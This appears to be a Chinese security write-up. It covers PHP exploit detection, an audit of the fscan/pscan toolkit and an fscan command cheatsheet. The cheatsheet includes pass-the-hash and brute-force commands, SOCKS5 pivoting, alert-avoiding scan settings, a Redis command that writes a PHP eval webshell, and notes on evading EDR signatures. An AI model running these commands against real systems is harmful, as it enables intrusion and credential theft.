不要用 RLIMIT_AS / RLIMIT_DATA 当修复手段:底层 mmap() 失败同样会触发旧的 longjmp() 路径,反而把请求推进脆弱路径。
pm.max_requests=1:直接消灭\"同一 worker 处理后续请求\"这个必要条件,从根上切断 producer/consumer 模型。代价是 worker 频繁重建(进程创建成本显著上升,可能掩盖其他问题)。
审计配置与清理诊断
php -v
php -i | egrep 'Server API|memory_limit|post_max_size|upload_max_filesize|max_input_vars|max_input_nesting_level|max_file_uploads|max_multipart_body_parts|session.upload_progress|fatal_error_backtraces|session.serialize_handler'
apache2ctl -M | grep php # 确认 mod_php
php-fpm -t # 测试配置
排查有早期诊断的配置(这些是 109619 消费者 A 的触发器):
auto_detect_line_endings=1 ; 确定性去precation
filter.default = 非默认值 ; 同上
assert.* = 遗留设置 ; PHP 8.3+
session.* = 遗留设置 ; PHP 8.4+
report_memleaks = 0 ; PHP 8.5+
intl.error_level != 0 ; PHP 8.5+
mbstring.http_input/http_output/internal_encoding = 显式设置
iconv.input_encoding/output_encoding/internal_encoding = 显式设置
zend.assertions / date.timezone / memory_limit 等非法或冲突值
日志告警规则
Allowed memory size of .* exhausted
Maximum execution time of .* exceeded
Unknown on line 0
PHP Request Startup
Session ID is too long or contains illegal characters
Failed to read session data
zend_mm_heap corrupted
关键判据:... exhausted in Unknown on line 0 —— Unknown on line 0 说明错误发生在用户脚本开始之前。这是区分\"业务代码写崩了\"和\"漏洞被触发\"的关键特征。官方测试用例的 EXPECT 全部是这个格式。
其他信号:
- • Apache/FPM child 异常退出、SIGABRT、segfault、频繁 respawn
- • 同一客户端短时间内发送超大 multipart、超多 part、超长 header 或大量 upload progress 字段
- •
max_input_varswarning 与后续 OOM 连续出现 - •
Set-Cookie: PHPSESSID异常变长、含不可打印字符或二进制样式内容(这是地址泄漏链的指纹) - • FPM pool 在低业务量时快速耗尽
- • 新出现的 www-data / apache / nginx / php-fpm 子进程、cron、systemd timer 或文件写入
应急响应
-
- 隔离实例和共享存储,保留内存、进程树、网络连接、日志和容器层
-
- 轮换 worker 可读的所有凭据:数据库、对象存储、API、CI/CD、第三方服务
-
- 排查
/tmp、上传目录、session 目录、webroot、cron、systemd、SSH authorized\_keys、容器挂载、K8s service account
- 排查
-
- 检查 worker 到内网管理口、Redis、数据库、云元数据服务的异常连接
- 5. 不要只删一个可疑文件就恢复服务——完整 RCE 通常伴随凭据获取和持久化
第二部分 · fscan 工具链审计
2.1 用途、名字、以及它为何诞生
用途
fscan 本身是 shadow1ng 的 Go 语言内网综合扫描工具(v2.2.0,bf036fd,2026-07-10),属于 knownsec 404 StarLink(星链计划)。扫描流程六阶段:
目标输入 → 存活探测 → 端口扫描 → 服务识别 → 弱口令爆破 → 漏洞检测与利用
│ │ │ │ │ │
│ ICMP/Ping TCP连接 指纹匹配 28种服务爆破 MS17-010/Redis
│ 存活统计 约140端口 20+服务 内置字典+自定义 POC扫描/未授权
每个阶段依赖上一阶段的结果:只有存活主机才扫端口,只有开放端口才做服务识别,爆破发生在服务识别之后(所以只对 SSH 端口做 SSH 爆破),POC 扫描在 Web 指纹识别之后。
fscan-toolkit-main 是围绕 fscan 的图形化管理套件,两个纯静态 HTML:
| 文件 | 职责 |
|---|---|
fscan-command-builder.html |
命令生成器:74 个参数可视化编排,fscan/pscan/fscan-web 三工具切换 |
fscan-report-generator.html |
报告生成器:解析 fscan 输出的 TXT/JSON/CSV,生成可打印 PDF 的专业报告 |
名字的寓意
需要分清三层:
| 名字 | 含义 | 依据 |
|---|---|---|
| fscan | fscan 家族的根名。社区通常读作 fast scan / f-scan,但官方与工具包均未给出字面释义 | 仓库地址 github.com/shadow1ng/fscan,星链计划成员工具均用单字母前缀区分用途(fscan / pscan / kscan 等) |
| pscan | fscan v2.1.3-rc 的魔改红队版,\"p\" 指向 penetration / 红队行动场景 | pscan 手册自述:\"针对红队场景进行了参数混淆与特征规避\" |
| fscan-toolkit | 本套件自身。名字里没有独立寓意——它就是 fscan 的周边 | README 标题\"fscan 图形化管理工具套件\" |
\"星链计划\"这个名字本身值得记一下:knownsec 主导,fscan 是其中最出名的成员。这个名字暗示的是\"把散落的能力串成链\"——fscan 在链上的位置是内网侦察与横向移动的自动化节点。
它为何而诞生(直接证据)
docs/superpowers/specs/2026-08-10-fscan-command-builder-design.md 写得很清楚:
fscan 是一款非常优秀的内网综合扫描工具,但它有 74 个命令行参数,以及两个工具(fscan / pscan)的参数名各不相同,甚至存在同名参数含义完全不同的陷阱。
所以这个套件解决的是一个具体的、可验证的痛点:
- 1. 参数太多——74 个,记忆成本高于翻手册的成本
- 2. 两个工具的参数名不同——
-h(fscan 目标) vs-t(pscan 目标),-hf(fscan 主机文件) vs-hf(pscan 哈希文件),同一个-hf在两个工具里含义完全相反 - 3. 纯命令行不产出报告——fscan 只给 TXT/JSON/CSV,而交付物需要排版好的报告
设计文档日期 2026-08-10。也就是说,这个套件诞生于 PHP2Shell 之前,与本次事件无关。
2.2 源码审计:架构
单文件三层结构
┌─ <style> (行 7–308) ─────────────────────────────────────┐
│ CSS 自定义属性驱动主题(--bg / --accent / --danger …) │
│ @media 1050px / 780px 两档响应式 │
└──────────────────────────────────────────────────────────────┘
┌─ <body> (行 310–351) ─────────────────────────────────────┐
│ #header 工具选择 / 预设 / 历史 / 设置 │
│ #app #sidebar(10 项导航) + #main(10 个折叠面板) │
│ #footer #cmd-box(实时命令) + 复制 / 运行说明 │
│ #toast 复制反馈 │
└──────────────────────────────────────────────────────────────┘
┌─ <script> (行 352–1060) ────────────────────────────────────┐
│ DATA CATS / PORT_CHIPS / UA_CHIPS / DOMAIN_CHIPS / │
│ RATE_CHIPS / THREAD_CHIPS / PARAMS │
│ STATE tool / TOOLS / CFG_KEY / vals / presetName │
│ HELPERS isWeb / aParams / flag / vis / esc / smartCIDR │
│ RENDER renderAll / renderSidebar / renderMain / renderF │
│ EVENTS onToolSwitch / onCh / onTg / shC / hiC / pickF │
│ CMD genCmd / updateCmd / copyCmd / showRun │
│ CFG loadCfg / saveCfg / getCfgDir │
│ STATE addHistory / loadHistoryList / loadHistoryCmd │
│ PRESET loadPresetList / loadPreset / showSavePreset │
└──────────────────────────────────────────────────────────────┘
核心抽象:PARAMS 一张表
整个工具的智能全部压在一个数组上。每个元素描述一个参数在三个工具里的全部表现:
{
id:'hostFile', cat:'target', t:'file', fs:'-hf', ps:'-tf', o:2,
label:'主机文件',
desc:'从文件读取目标列表...',
d:'', // 默认值
w:'sm', // 输入框宽度
dep:null, // 依赖:'!toggleId' 表示 toggleId 为 true 时隐藏
wo:false, // 是否为 fscan-web 专属
chips:[...], opts:[...], smartip:true
}
三个字段构成了全部的\"双工具差异\"处理:
| 字段 | 作用 |
|---|---|
fs |
fscan 的参数名 |
ps |
pscan 的参数名 |
ps: null |
pscan 没有此参数 → 切换到 pscan 时该字段自动隐藏并标注\"pscan无\" |
const flag = p => isWeb() ? null : (tool === 'pscan' ? p.ps : p.fs);
这一行是整个套件的设计核心:表单是逻辑 ID 驱动的,参数名是查表得到的。换工具不需要改表单结构,只需要换查表来源。
命令生成规则
function genCmd(){
const parts = [ (dir ? dir + '\\\\' : '') + TOOLS[tool].exe ];
const ord = CATS.map(c =>aParams().filter(p => p.cat===c.id && vis(p))).flat();
for(const p of ord){
const f = flag(p); if(!f) continue;
if(p.t==='toggle'){ if(vals[p.id]==='true') parts.push(f); }
else{
const v = vals[p.id];
if(!v && v!=='0') continue;
if(p.d!==undefined && String(v)===String(p.d) && p.t!=='text') continue;
parts.push(`${f} ${v}`);
}
}
return parts.join(' ');
}
三条规则:toggle 为真才输出 → 空值不输出 → 非 text 类型且等于默认值则不输出。
条件联动
function vis(p){
if(isWeb() && !p.wo) returnfalse;
if(!isWeb() && p.wo) returnfalse;
if(vals['aliveOnly']==='true' && !WHITELIST.includes(p.id)) returnfalse;
if(vals['noBrute']==='true' && p.cat==='cred') returnfalse;
if(vals['noPOC']==='true' && ['pocName','pocPath','pocConcurrency','fullPOC','dns'].includes(p.id)) returnfalse;
if(p.dep && p.dep.startsWith('!') && vals[p.dep.slice(1)]==='true') returnfalse;
if(tool==='pscan' && p.ps===null && p.fs!==null && !p.wo) returnfalse;
returntrue;
}
三档联动粒度:全局开关按类目整体收起(cred 整类、poc 相关字段集)、字段级依赖(dep)、工具级缺失(pscan 无此参数)。
aliveOnly 用的是白名单而非黑名单——只保留目标、开关、输出相关字段,其余全隐藏。
状态持久化
| 键 | 内容 | 容量 |
|---|---|---|
fscan-cmd-toolcfg |
{dir, fscan, pscan, web} 三个可执行文件路径 |
— |
fscan-cmd-presets |
{名称: {tool, values, saved}} |
无上限 |
fscan-cmd-history |
[{cmd, tool, time}] |
20 条,LRU 截断 |
报告生成器的解析架构
parseResult(text) 正则分节解析 TXT
├─ 节头识别(中文 + 英文双支持)
│ 存活主机 / alive hosts
│ 开放端口 / open ports
│ 服务信息 / service
│ Web服务 / web serv
│ 漏洞 / vuln
└─ 逐行按节匹配:IP / IP:port / IP:port+info / [+] 漏洞描述
parseJSON(jsonText) 自适应 schema
├─ hosts | alive
├─ ports | open_ports
├─ services | service_info
├─ web | web_services
├─ vulnerabilities | vulns | findings
└─ 兜底:全空时把任意数组字段摊平成 info 级条目
RISK 关键字定级(正则数组)
critical: /ms17[-_]?010/i /永恒之蓝/i /smbghost/i /CVE-2020-0796/i
/RCE/i /远程代码执行/i /反序列化/i /任意文件上传/i
high: /弱口令/i /未授权访问/i /弱密码/i /密码为空/i /默认密码/i
/任意文件读取/i /SQL注入/i /命令注入/i /信息泄露/i /敏感信息/i
medium: /版本.*泄露/i /不安全的配置/i /明文传输/i /过期的.*版本/i /可匿名访问/i
info: 兜底
定级是纯关键字匹配,没有 CVSS、没有可利用性判断。这在报告里可能产生误导:一个只识别出版本泄露的模块被归为\"中危\",但如果那个版本恰好有可利用 RCE,报告不会体现。这一点在 §3.5 记为缺陷。
2.3 设计妙处
1. 参数数据库 = 单一事实来源
74 个参数、3 个工具、10 个面板,全部从一个数组渲染。改一个参数只改一行,不动表单、不动命令生成、不动联动逻辑。这是正确的抽象层级——参数名是数据,不是代码。
2. 工具切换不重建表单
表单按逻辑 ID(id)渲染,参数名在渲染时才查表(flag(p))。所以 pscan 模式下 -h 变 -t,而输入框里已经填好的值原封不动。这解决了\"同一份配置要在两个工具间迁移\"的实际痛点——审计时经常需要用 fscan 扫描、用 pscan 复测。
3. 切换工具即自动隐藏不兼容参数
ps: null 的设计让\"pscan 没有这个能力\"这件事在 UI 层就消失了,而不是留一个灰掉的输入框。设计文档把这条写进了自检项,实现也确实做了。
4. 命令顺序 = 语义顺序,不是字母序
按 CATS 的顺序输出:目标 → 端口 → 扫描控制 → 功能开关 → 凭据 → Web → 利用 → 后渗透 → 代理 → 输出。
开关类参数天然排在前面(toggles 在 cred 之前),所以生成的命令读起来是\"先声明我要什么模式,再给参数\",而不是参数乱序。这比字母序可读得多——人读命令靠的是语义分组。
5. 零依赖、零安装、离线
两个 HTML,没有 CDN、没有外部字体、没有网络请求。grep 全文没有 fetch( / XMLHttpRequest / <script src=。这在安全工具里是硬要求:一个渗透工具的 GUI 挂了外部资源,等于把使用者的扫描行为和目标信息透传给第三方。工具包还额外把 *.exe``*.dll``*.so 加进 .gitignore——防止把工具二进制误提交进仓库,这个细节考虑得很细。
6. 用 localStorage 而非需要服务器
配置方案、历史、工具路径全在浏览器本地。审计人员可以在自己的机器上配置好一整套扫描方案(目标网段、字典路径、输出路径),数据不出本机。
7. 报告生成器支持中英双节头
parseResult 里每一节都写了中文 + 英文两条正则。fscan 的 -lang en 输出和中文版结构不同,双正则保证换语言不用换工具。
8. 13 组端口预设里的\"默认140端口\"
{l:'🌐 默认140端口', v:''} —— 值是空字符串,代表\"不传 -p,用 fscan 内置默认\"。这个设计很省事:内置默认端口集本来就在工具里,手工抄一遍既容易错又没有意义。
2.4 pscan 的魔改思路
pscan 是 fscan v2.1.3-rc 的红队版,核心目标是规避 HIDS 与流量检测设备的特征识别:
| 修改项 | 具体做法 | 防御方能看到什么 |
|---|---|---|
| 参数名全部混淆 | 24 组映射(-h→-t、-m→-st、-user→-usr…) |
命令行参数名 |
| Banner 静默 | 启动不输出 ASCII Logo 与版本信息 | 终端输出、进程日志 |
| Go 模块路径改名 | 改为 test,去掉 github.com/shadow1ng/fscan |
二进制 strings 特征 |
| 源码字符串清理 | 代码中不出现 fscan 相关字符串 | 二进制 strings 特征 |
| 调试日志改名 | fscan_debug.log → tsk_debug.log |
落盘文件 |
这是当前 EDR / HIDS 检测面的一个真实缺口:绝大多数主机侧检测规则依赖工具的静态特征(文件路径、哈希、strings 命中、命令行模式)。参数混淆 + 模块路径改名这两项,正好打的就是\"基于已知工具名做规则\"这条最省力的检测路径。
防守侧能做的:不要只匹配 -h、-m、-user 这类参数名(pscan 已经证明这套会失效),要匹配行为序列(短时间内大量连接尝试 + 特定协议握手模式 + 后续的认证爆破节奏)。这与 PHP2Shell 那条\"UA 是最容易被改的,语义特征才稳定\"是同一回事。
工具包支持 pscan 本身是有争议的设计取舍:命令生成器把参数名混淆做成了\"一键切换\"的便利功能。这在授权测试里是合理的效率工具,在防守视角则意味着混淆参数的批量生成变得极其容易。工具包的 README 已有授权声明和免责声明,这一点上没毛病。
2.5 源码审计:缺陷清单
7 处实现层缺陷
| # | 位置 | 问题 | 影响 | 建议 |
|---|---|---|---|---|
| D1 | pickF() |
vals[id] = i.files[0].name — 只取文件名,丢弃完整路径 |
用户在 D:\\pentest\\dict\\users.txt 选了文件,生成的是 -userf users.txt,而 fscan 在当前目录找不到它。这是最容易踩且最难自查的一个坑(命令看起来完全正常) |
浏览器安全模型下拿不到真实路径,应改为:读取路径后自动转成相对当前工作目录的相对路径,或退化为提示\"请手动粘贴完整路径\",并把该字段标红 |
| D2 | genCmd() |
if(p.d!==undefined && String(v)===String(p.d) && p.t!=='text') continue; — 非 text 类型且等于默认值时静默省略 |
-o result.txt (默认值)永远不会被输出;-t 600(默认线程数)不会输出。用户无法显式传默认值,在需要覆盖工具默认行为(比如某些版本的 -f txt 实际默认不是 txt)时会踩坑 |
保留省略逻辑,但加一个\"强制包含默认值\"的开关;或至少在 UI 上标注\"该值等于默认,已省略\" |
| D3 | esc() |
只转义 &``<``>,不转义 \" |
多个字段用 value=\"${esc(v)}\" 双引号属性插值(file 类型、loadHistoryList 的 title=、showCfg 的 value=)。含 \" 的输入会破坏属性边界。因为值来自用户自己的输入框和 localStorage,实际是 self-XSS,风险低,但这是实实在在的编码缺陷 |
esc 补上 " 与 ';或统一改用 textContent |
| D4 | updateCmd() |
h.replace(new RegExp(...), ''+esc(exe)+'') — 替换串未转义 $ |
若 exe 路径含 $&、$1 等,替换串的特殊语义会导致高亮错位($& 会被解释成\"整个匹配\") |
替换串用函数形式 () => ''+esc(exe) 规避 $ 语义 |
| D5 | smartCIDR() |
正则 /(\\d{1,3})\\.(\\d{1,3})\\.(\\d{1,3})\\.(\\d{1,3})/不校验 0–255 |
输入 999.1.1.1 会生成 999.1.1.0/24 这种非法 CIDR;IPv6 完全不支持 |
逐段做 parseInt(x) <= 255 校验;匹配失败时给出提示而非静默生成 |
| D6 | vis() |
aliveOnly 白名单里 'excludeHosts','excludeHostFile'重复出现两次 |
无功能影响,但是复制粘贴残留;同时白名单不含 proxy/socks5/iface,在 alive-only 模式下无法设置强制代理 |
清理重复项;确认 alive-only 场景是否需要代理 |
| D7 | loadHistoryCmd() |
直接 cmd-box.textContent = e.cmd,绕过高亮渲染,也不回填 vals |
从历史记录加载后,底部显示的命令与左侧表单的输入框不一致(表单还是当前值)。用户会以为命令来自当前配置 | 加载历史时反解参数回填 vals 并 renderAll();或至少高亮显示并标注\"历史命令,未回填表单\" |
4 处设计规范未实现项
对照 docs/superpowers/specs/2026-08-10-fscan-command-builder-design.md:
| 规范条目 | 规范描述 | 实际实现 | 影响 |
|---|---|---|---|
| S1 | \"-ao → hides panels: port, cred, web, exploit, post-exploit, output format\" | 白名单保留了 output 类字段 | 影响很小,实测输出格式在 alive-only 下仍有用 |
| S2 | \"Mode switching (fscan only) shows relevant cred fields for that service\" | 未实现 。scanMode 是 combo,但选 ssh 不会联动收敛凭据字段 |
中 。选 -m ssh 时仍显示 11 个凭据字段,大部分不适用 |
| S3 | \"Redis exploit fields (rwp/rwc/rwf/rs) show only when Redis mode or Redis-related ports are targeted\" | 未实现 。这些字段永远显示 | 中 。与 -noredis 开关存在语义冲突 |
| S4 | \"Preset System — Delete: option in the dropdown\" | 未实现 。loadPresetList 只渲染加载项,无删除入口 |
低–中 。方案只能新增不能删,localStorage 会逐渐堆积 |
另外两条规范与实现的命名差异(不影响功能,但会让人对着规范看代码时困惑):规范写 paramDefs / category / fscan / pscan / web / default / dependsOn / hint,实现写 PARAMS / cat / fs / ps / wo / d / dep / desc。
报告生成器的两个缺陷
| # | 问题 | 影响 |
|---|---|---|
| D8 | 风险定级是纯关键字匹配,无 CVSS、无可利用性判断 | \"版本泄露\"→中危,但若该版本存在公开 RCE 则报告完全不体现。对交付给客户的报告会系统性低估风险 |
| D9 | classifyRisk 按 Object.entries(RISK) 顺序短路匹配,critical 优先 |
这个顺序是对的,但 critical 的 /RCE/i 会被 未授权访问 之类的高危描述误伤——反过来,/RCE/i 也会命中\"CVE-XXXX 无 RCE\"这类否定表述 |
一个设计文档与实现都存在的不一致:README 写\"同名冲突警告:pscan 的 -hf 是哈希文件,fscan 的 -hf 是主机文件 —— 切换时界面会醒目高亮提示\"。实现里确实处理了这个坑(通过 fs/ps 双字段,保证不会生成混用的命令),但没有专门的冲突检测器。实际生效的机制是\"每个字段旁显示当前工具的实际参数名徽标\"——切到 pscan 后徽标从 -hf 变成 -tf,用户能看出来。这是有效的,但不是 README 描述的那种\"醒目冲突警告\"。
2.6 实网攻防落地
防守侧(资产测绘与暴露面评估)
# 阶段一:网段存活 —— 最轻量的一步
.\\fscan.exe -h 192.168.1.0/24 -ao -no
# 阶段二:端口与服务 —— 关掉爆破和 POC,纯测绘
.\\fscan.exe -h 192.168.1.0/24 -nobr -nopoc -np -rate 500 -o recon.txt
-np(跳过存活探测)在这两个阶段之间很关键:阶段一已经拿到存活列表,阶段二再探一次是浪费。-rate 500 把发包速率压到每分钟 500,避免在内网核心网段把链路打满。
授权测试侧
# 定点爆破 + 凭据复用
.\\fscan.exe -h10.0.0.0/24-m smb -domain corp.local -user administrator -pwd'P@ssw0rd'
# 哈希传递(拿到 hash 后不需要明文口令)
.\\fscan.exe -h10.0.0.50-hash\"aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0\"
# 横向移动前的网段筛选:先只扫 SSH
.\\fscan.exe -h10.0.0.0/16-p22-m ssh -userf users.txt -pwdf pass.txt -o ssh_hits.txt
蓝队用法
fscan 在蓝队这边最实用的不是扫描,是批量基线核查。把 §1.7 的检查项写成脚本,对内网 PHP 资产批量执行:
# 用 fscan 的 -local 插件做批量信息收集(授权范围内)
.\\fscan.exe -h 10.0.0.0/24 -m web -p 80,8080,8000 -local systeminfo -no
落地时的三个真实约束
| 约束 | 说明 |
|---|---|
| D1(路径丢失)会影响字典文件 | -userf / -pwdf / -hashf / -sshkey / -pocpath 全是 file 类型,全部受影响。这是实战中最容易白跑一次的坑 |
-np 在禁 Ping 网络里是必需项,不是优化项 |
很多企业网络禁 ICMP。不加 -np,存活探测全部失败,fscan 会认为网段内无主机 |
| 执行顺序有依赖 | fscan 的爆破依赖服务识别结果。-m 指定单一模式时,爆破范围会收窄到该协议——这是好事,但要知道 -m all 和 -m smb 的包量差一个数量级 |
2.7 骚操作
以下都是工具已实现的功能,组合起来用是它真正的价值所在。
1. -start-socks5 —— 让扫描器变成跳板
拿到一台可控主机后,在它上面起 SOCKS5 代理,再用 -socks5 让后续扫描从该主机出发。这是内网横向的经典打法:把扫描源变成已经被入侵的机器,流量看起来更\"像内网主机\"。
2. -iface —— VPN 场景的源地址绑定
多网卡机器(尤其是连着 VPN 的)上,不指定源地址会走错网卡。加上 -iface 10.8.0.5 强制从 VPN 网卡出去。
3. -local 插件矩阵 —— 21 个本地动作
systeminfo / reverseshell / forwardshell / socks5proxy / keylogger / minidump(LSASS 凭据导出)/ sshkey(SSH 公钥注入)/ cleaner(痕迹清理)/ crontask / systemdservice / ldpreload(LD\_PRELOAD Rootkit)/ winregistry / winschtask / winservice / winstartup / winlogon / winwmi / winbits / winifeo / avdetect / download。
其中 minidump(LSASS 凭据导出)和 ldpreload(用户态 Rootkit)不是通用功能,是明确的定向工具。
4. -sc + -rsh + -fsh-port 的三种落地方式
-sc 走 MS17-010 的 Shellcode 注入;-rsh ip:port 是反弹;-fsh-port 是正向监听。一个工具同时覆盖正向和反弹两条链路。
5. -rs 的跨平台性 —— Redis 写计划任务
同一个参数,在 Windows 上写计划任务、在 Linux 上写 crontab。Redis 未授权是内网里最常见的初始入口,这条链直接通往持久化。
6. -noredis —— 在防守方手里反而更有用
发现 Redis 未授权时,主动关闭利用模块只做告警,避免在客户生产环境上真的写入文件或起计划任务。扫描器和利用器的开关分离,是把同一个工具用在防守侧的前提。
7. -local cleaner —— 痕迹清理
红队收尾动作。这个插件存在本身说明了这个工具的定位。
8. -pocpath + -pocname —— 自定义 POC 生态
支持 Xray POC 格式。-pocname 做关键字筛选可以显著减少发包量;-pocpath 指向自建 POC 目录,可以把企业内部积累的检测规则直接接进来。
9. -dns —— DNSLog 外带
无回显漏洞的检测手段。配合 -pocname 可以只对特定漏洞开 DNSLog,避免产生大量无效外带。
10. -log 的日志级别控制 —— 隐形的取证能力
-log base,info,success 是默认。改成 base,info,success,error,debug 可以拿到完整的发包级日志。这条在事后复盘\"到底发到了哪些端口\"时比扫描结果本身更有用。
第三部分 · 命令配方 cheatsheet
3.1 fscan → pscan 完整映射表
从 PARAMS 源码逐条提取(24 组重命名):
| 功能 | fscan | pscan | 备注 |
|---|---|---|---|
| 目标主机 | -h |
-t |
|
| 主机文件 | -hf |
-tf |
⚠ pscan 的 -hf 是哈希文件,不是主机文件 |
| 排除主机 | -eh |
-et |
|
| 排除主机文件 | -ehf |
-etf |
|
| 端口列表 | -p |
-tp |
|
| 端口文件 | -pf |
-tpf |
|
| 排除端口 | -ep |
-etp |
|
| 扫描模式 | -m |
-st |
|
| 端口扫描线程 | -t |
-tn |
⚠ fscan 的 -t 是线程,pscan 的 -t 是目标 |
| 模块线程 | -mt |
-mt |
不变 |
| 超时 | -time |
-tm |
|
| 端口排除 | -ep |
-etp |
|
| 用户名 | -user |
-usr |
|
| 密码 | -pwd |
-pw |
|
| 额外用户名 | -usera |
-ua |
|
| 额外密码 | -pwda |
-pa |
|
| 用户名字典 | -userf |
-uf |
|
| 密码字典 | -pwdf |
-pf |
⚠ pscan 的 -pf 是密码文件,fscan 的 -pf 是端口文件 |
| 用户名:密码对 | -upf |
-up |
|
| 域名 | -domain |
-dm |
|
| NTLM 哈希 | -hash |
-hv |
|
| 哈希文件 | -hashf |
-hf |
⚠ 与 fscan 的 -hf 冲突 |
| SSH 私钥 | -sshkey |
-sk |
|
| 目标 URL | -u |
-url |
|
| URL 文件 | -uf |
-urlf |
|
| 自定义 UA | -ua |
无 | pscan 无此参数,界面自动隐藏 |
| 跳过网段预筛 | -nsp |
无 | pscan 无此参数 |
保持不变的参数(共 51 个):-ao``-np``-ntp``-nobr``-nopoc``-noredis``-full``-silent``-no``-nocolor``-nopg``-debug``-perf``-lang``-dns``-cookie``-num``-retry``-rate``-maxpkts``-icmp-rate``-proxy``-socks5``-iface``-local``-gt``-max-redirect``-wt``-rf``-rs``-rsh``-rwp``-rwc``-rwf``-sc``-fsh-port``-start-socks5``-persistence-file``-win-pe``-download-url``-download-path``-keylog-output``-log``-pocname``-pocpath
三条同名冲突:
-hf(fscan 主机文件 / pscan 哈希文件)、-pf(fscan 端口文件 / pscan 密码字典文件)、-t(fscan 线程数 / pscan 目标主机)。手写混合命令时这三个必错。
3.2 参数语义分层
把 74 个参数按\"在攻击链上的位置\"重新组织,配方就自然浮出来了:
| 层 | 参数 | 语义 |
|---|---|---|
| L0 作用域 | -h``-hf``-eh``-ehf``-p``-pf``-ep |
划定\"这次打哪里\" |
| L1 节奏 | -t``-mt``-time``-wt``-gt``-rate``-maxpkts``-icmp-rate``-num``-retry``-np``-ntp``-nsp``-ao |
划定\"怎么打、打多快\" |
| L2 能力开关 | -nobr``-nopoc``-noredis``-full``-m |
划定\"用哪些能力\" |
| L3 凭据 | -user``-pwd``-usera``-pwda``-userf``-pwdf``-upf``-domain``-hash``-hashf``-sshkey |
划定\"用什么身份进\" |
| L4 Web 上下文 | -u``-uf``-cookie``-ua``-max-redirect``-pocname``-pocpath``-dns |
划定\"在什么网页语境里测\" |
| L5 利用与落地 | -rf``-rs``-rwp``-rwc``-rwf``-sc``-rsh``-fsh-port``-local``-persistence-file``-win-pe``-download-url``-download-path``-keylog-output``-start-socks5 |
划定\"拿到后做什么\" |
| L6 通路 | -proxy``-socks5``-iface |
划定\"从哪出去\" |
| L7 产出 | -o``-f``-no``-silent``-nocolor``-nopg``-debug``-perf``-log``-lang |
划定\"留下什么\" |
这张分层表就是配方系统的骨架——同一层的参数可以自由替换,跨层的组合才是有意义的命令。
3.3 配方库
每条配方标注了 L 层组成,可直接当作脚本模板。
R1 静默测绘(最常用的第一条)
L0: -h <网段>
L1: -np -rate 300 -time 5
L2: -nobr -nopoc
L7: -no -silent -nocolor
.\\fscan.exe -h 192.168.1.0/24 -np -rate 300 -time 5 -nobr -nopoc -no -silent -nocolor
R2 分阶段推进(蓝队/渗透通用)
阶段1 存活 : -h <网段> -ao -no
阶段2 端口 : -hf alive.txt -nobr -nopoc -np
阶段3 服务 : -hf alive.txt -p <窄端口> -nobr -nopoc
阶段4 爆破 : -hf alive.txt -m ssh -userf users.txt -pwdf pass.txt
关键点:每阶段用上一阶段的 -hf 产出作为输入,扫描量逐级收敛。
R3 凭据传递优先
L3: -hashf hashes.txt -m smb
L2: -nopoc
.\\fscan.exe -h 10.0.0.0/24 -m smb -hashf hashes.txt -nopoc -o pth.txt
拿到 hash 后优先走 -hash/-hashf,比爆破快一个数量级。
R4 静默定点(只对一台机器,不触发告警)
L1: -t 50 -rate 60 -icmp-rate 0.05 -time 10
L7: -silent -no
-rate 60 = 每分钟 60 个包,几乎不会触发流量基线告警。
R5 代理出口
L6: -socks5 socks5://user:[email protected]:1080
L1: -iface 10.8.0.5
R6 从失陷主机开跳板
.\\fscan.exe -h 10.0.0.50 -local socks5proxy -start-socks5 1080
# 另一台机器
.\\fscan.exe -h 10.0.0.0/16 -socks5 10.0.0.50:1080
R7 Redis 未授权(发现 + 告警,不落地)
发现: .\\fscan.exe -h <网段> -p 6379 -m redis -noredis
落地: .\\fscan.exe -h <ip> -m redis -rf id_rsa.pub
写WebShell: .\\fscan.exe -h <ip> -m redis -rwp /var/www/html -rwc \"<?php @eval($_POST['cmd']);?>\"
R8 全量 POC(慢但全)
L2: -full
L1: -num 50
L4: -dns
-full 遍历所有 POC。配 -dns 用 DNSLog 兜住无回显场景。
R9 端口收窄(比 -nobr 更有效的降噪)
L0: -p 22,80,443,3306,6379,27017
L2: -nobr -nopoc
不要用 -ep 445,3389 这种黑名单——漏一个就是一次全端口扫描。黑名单适合\"知道要排除什么\"的场景,白名单适合\"只关心什么\"的场景。默认用白名单。
R10 结果复用
L7: -f json -o scan.json
JSON 格式喂给 fscan-report-generator.html,比解析 TXT 稳定得多(报告生成器的 parseJSON 支持多 schema 自适应,容错比正则分节强)。
3.4 参数即模块:JSON 驱动的命令生成器
把参数表抽出来,命令生成就变成纯数据处理,可以脚本化、可以批量、可以和 CI 接起来。
#!/usr/bin/env python3
# fscan 命令配方生成器 —— 参数视为可编程的功能模块
import json, subprocess, sys
# 参数映射表:逻辑 ID → (fscan flag, pscan flag)
PARAMS = {
\"target\": {\"fs\": \"-h\", \"ps\": \"-t\", \"cat\": \"L0\", \"type\": \"value\"},
\"hostFile\": {\"fs\": \"-hf\", \"ps\": \"-tf\", \"cat\": \"L0\", \"type\": \"value\"},
\"ports\": {\"fs\": \"-p\", \"ps\": \"-tp\", \"cat\": \"L0\", \"type\": \"value\"},
\"excludePorts\":{\"fs\": \"-ep\", \"ps\": \"-etp\", \"cat\": \"L0\", \"type\": \"value\"},
\"threads\": {\"fs\": \"-t\", \"ps\": \"-tn\", \"cat\": \"L1\", \"type\": \"value\"},
\"timeout\": {\"fs\": \"-time\",\"ps\": \"-tm\", \"cat\": \"L1\", \"type\": \"value\"},
\"rate\": {\"fs\": \"-rate\",\"ps\":\"-rate\",\"cat\": \"L1\", \"type\": \"value\"},
\"icmpRate\": {\"fs\": \"-icmp-rate\",\"ps\":\"-icmp-rate\",\"cat\":\"L1\",\"type\":\"value\"},
\"maxPackets\": {\"fs\": \"-maxpkts\",\"ps\":\"-maxpkts\",\"cat\":\"L1\",\"type\":\"value\"},
\"retries\": {\"fs\": \"-retry\",\"ps\": \"-retry\",\"cat\":\"L1\",\"type\": \"value\"},
\"pocConcurrency\":{\"fs\":\"-num\",\"ps\": \"-num\", \"cat\": \"L1\", \"type\": \"value\"},
\"aliveOnly\": {\"fs\": \"-ao\", \"ps\": \"-ao\", \"cat\": \"L2\", \"type\": \"flag\"},
\"skipPing\": {\"fs\": \"-np\", \"ps\": \"-np\", \"cat\": \"L2\", \"type\": \"flag\"},
\"skipTCP\": {\"fs\": \"-ntp\",\"ps\": \"-ntp\", \"cat\": \"L2\", \"type\": \"flag\"},
\"skipSubnet\": {\"fs\": \"-nsp\",\"ps\": None, \"cat\": \"L2\", \"type\": \"flag\"},
\"noBrute\": {\"fs\": \"-nobr\",\"ps\": \"-nobr\", \"cat\": \"L2\", \"type\": \"flag\"},
